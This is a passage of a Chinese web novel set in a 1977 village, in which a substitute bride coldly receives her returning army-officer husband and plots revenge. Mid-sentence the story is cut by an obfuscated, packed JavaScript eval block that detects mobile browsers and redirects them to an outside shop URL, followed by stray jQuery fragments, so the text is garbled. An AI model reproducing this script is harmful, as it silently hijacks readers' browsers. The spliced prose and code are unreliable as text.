1977年，双水村。
林清药从后山下来时，背篓里的草药压得她肩膀生疼。
她没走大路，而是选了条长满荆棘的小径。草药下面藏着的三十块钱是她这三年的全部家当，在这地方，财不露白是活命的规矩。
刚走到村口，平静的村子就像被捅了马蜂窝，嘈杂声扑面而来。
“清药！快回家，你男人回来了！”
王大婶扯着嗓子，那声音在空旷的村道上格外刺耳。
林清药步子一滞。替嫁三年，周正北这个名字对她来说，只是每个月准时汇过来的几十块津贴。
还没到周家门口，路边那辆绿皮吉普车就撞进了视线。在满是牛粪和烂泥的村道上，这铁疙瘩显得格格不入，透着股冷硬的官威。
“正北这孩子有出息，两毛二，团级！”“清药守了三年，总算熬出头了，往后就是团长夫人，该享福了。”
邻里乡亲的议论声潮水般涌来。林清药没理会，拍了拍裤腿上的泥，推门进了院子。
院里站着个男人，个子极高，军装撑得平整。他正从车里拎下成袋的精米和罐头，听见动静，转过身来。
周正北的眼神很利，那是长年经受硝烟后的审视。当他看清林清药的瞬间，眼底原本那股冷硬被一种毫不遮掩的惊艳取代，随后化作了某种浓烈的、带着侵略性的欲望。
他离家时，林清药还是个没长开的黄毛丫头，现在，她清冷得像山尖上的雪。
“回来了？”周正北先开了口，嗓音沙哑。
他迈步走过来，步子迈得极大，每一步都带着那种久居上位的压迫感。走到跟前，他自然而然地伸手想接过林清药背上的篓子。
林清药身子一侧，躲开了。
“不辛苦，我自己来。”她声音很淡，不带半点重逢的喜悦。
周正北的手悬在半空，眉头拧了一下。在部队，没人敢这么冷着他。但在看到林清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276641|198280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
药那张脸后，那点不悦又被他强行压了下去。
“正北！哎哟，我的好儿子，你管她干啥！”
周婆婆从堂屋蹿出来，脸上的褶子笑成了一朵花。她一把拽住周正北的胳膊，却转头对林清药拉下了脸：
“还愣着干什么？没瞧见正北满头大汗的？去，打盆热水来给正北洗脸。晚上把那只老母鸡宰了，正北这次待半个月，你俩抓紧点，走之前把种给周家留上！”
半个月。林清药心里冷笑。
周家要的是个能生养的工具，周正北要的是个带得出的物件。没人问过她愿不愿意。
“知道了。”林清药垂下眼帘，顺从地进了灶间。
火光映在她黑白分明的瞳孔里。她从袖口滑出一枚细如牛毛的银针，针尖在火舌下泛着冷光。
周正北想要温香软玉，想要子子孙孙。可她林清药，只要自由。
这替嫁的债，从今晚开始，她要一笔一笔清算回来。